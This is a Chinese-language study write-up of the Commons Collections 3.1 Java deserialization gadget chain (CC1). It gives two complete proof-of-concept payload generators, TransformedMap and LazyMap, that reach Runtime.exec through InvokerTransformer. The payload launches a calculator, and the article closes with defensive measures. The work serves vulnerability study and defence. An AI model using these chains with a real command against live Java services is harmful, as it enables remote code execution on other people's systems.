Java反序列化学习之Commons-Collections1
字数 1086 2025-08-25 22:59:09
Java反序列化漏洞分析:Commons-Collections1利用链详解
漏洞概述
Apache Commons Collections是一个广泛使用的Java库,提供了许多实用的数据结构工具类。在3.1及以下版本中,存在一个严重的反序列化漏洞,攻击者可以通过精心构造的序列化对象在目标系统上执行任意代码。
核心漏洞点
漏洞位于commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java中。InvokerTransformer类使用了反射机制,且反射参数完全可控,允许调用任意类的任意方法。
关键代码特征:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
利用链构造原理
要利用此漏洞,需要构造一个能够循环调用transform方法的链。ChainedTransformer类正好满足这一需求:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
命令执行构造
通过反射执行系统命令的典型方式:
// 直接执行
Runtime.getRuntime().exec(new String[]{"deepin-calculator"});
// 反射执行
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
new String[]{"deepin-calculator"}
);
对应的Transformer数组构造:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"deepin-calculator"})
};
两种主要利用链
1. TransformedMap利用链
利用路径
TransformedMap类中的checkSetValue方法调用了transform方法AbstractInputCheckedMapDecorator.setValue调用了checkSetValueAnnotationInvocationHandler.readObject中调用了setValue方法
关键条件
this.type必须是一个定义了方法的注解类(如Retention.class或Target.class)this.memberValues必须包含与注解方法名相同的键
完整POC
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"deepin-calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "mochazz");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
2. LazyMap利用链
利用路径
LazyMap.get方法调用了transform方法AnnotationInvocationHandler.invoke调用了get方法- 通过动态代理触发
invoke方法
关键概念:动态代理
动态代理可以在不修改原函数代码的基础上添加额外功能,核心是InvocationHandler接口:
interface Animals {
void say();
}
class Cat implements Animals {
public void say() {
System.out.println("I'm a cat!");
}
}
class CatProxyHandle implements InvocationHandler {
private Object obj;
public CatProxyHandle(Object obj) { this.obj = obj; }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before invoke " + method.getName());
method.invoke(obj, args);
System.out.println("After invoke " + method.getName());
return null;
}
}
完整POC
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"deepin-calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "mochazz");
Map outmap = LazyMap.decorate(innermap, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
Object instance = ctor.newInstance(Retention.class, mapProxy);
return instance;
}
防御措施
- 升级Commons Collections到3.2.2或更高版本
- 使用Java反序列化过滤器(JEP 290)
- 避免反序列化不可信数据